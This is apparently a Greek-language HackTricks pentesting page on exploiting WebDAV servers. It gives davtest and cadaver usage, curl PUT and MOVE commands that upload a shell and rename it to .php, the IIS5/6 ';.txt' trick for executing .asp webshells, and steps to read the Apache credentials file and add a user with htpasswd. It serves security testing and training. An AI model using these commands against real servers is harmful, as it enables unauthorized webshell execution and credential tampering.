83 lines
5.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebDav
{{#include ../../banners/hacktricks-training.md}}
Όταν ασχολείστε με έναν **HTTP Server με WebDav** ενεργοποιημένο, είναι δυνατόν να **χειριστείτε αρχεία** αν έχετε τα σωστά **διαπιστευτήρια**, που συνήθως επαληθεύονται μέσω **HTTP Basic Authentication**. Η απόκτηση ελέγχου σε έναν τέτοιο server συχνά περιλαμβάνει την **ανάρτηση και εκτέλεση ενός webshell**.
Η πρόσβαση στον server WebDav απαιτεί συνήθως **έγκυρα διαπιστευτήρια**, με [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) να είναι μια κοινή μέθοδος για την απόκτησή τους.
Για να ξεπεράσετε περιορισμούς στην ανάρτηση αρχείων, ειδικά εκείνους που αποτρέπουν την εκτέλεση server-side scripts, μπορείτε να:
- **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν περιορίζονται.
- **Μετονομάσετε** τα ανεβασμένα μη εκτελέσιμα αρχεία (όπως .txt) σε εκτελέσιμη επέκταση.
- **Αντιγράψετε** τα ανεβασμένα μη εκτελέσιμα αρχεία, αλλάζοντας την επέκτασή τους σε μία που είναι εκτελέσιμη.
## DavTest
**Davtest** προσπαθεί να **ανεβάσει αρκετά αρχεία με διαφορετικές επεκτάσεις** και **ελέγχει** αν η επέκταση είναι **εκτελέσιμη**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
Αυτό δεν σημαίνει ότι οι **.txt** και **.html επεκτάσεις εκτελούνται**. Αυτό σημαίνει ότι μπορείτε να **έχετε πρόσβαση σε αυτά τα αρχεία** μέσω του διαδικτύου.
## Cadaver
Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον διακομιστή WebDav** και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**.
```
cadaver <IP>
```
## PUT αίτημα
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE request
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Vulnerability
Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** **δεν επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**).
Έτσι μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (ο cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε).
![](<../../images/image (1092).png>)
## Post credentials
Αν το Webdav χρησιμοποιούσε έναν Apache server, θα πρέπει να κοιτάξετε τις ρυθμισμένες τοποθεσίες στον Apache. Συνήθως:\
_**/etc/apache2/sites-enabled/000-default**_
Μέσα σε αυτό μπορείτε να βρείτε κάτι σαν:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** διακομιστή:
```
/etc/apache2/users.password
```
Μέσα σε αυτούς τους τύπους αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιήσει τους χρήστες.
Μπορείτε να προσπαθήσετε να **crack** τα, ή να **add more** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Για να ελέγξετε αν τα νέα διαπιστευτήρια λειτουργούν, μπορείτε να κάνετε:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Αναφορές
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}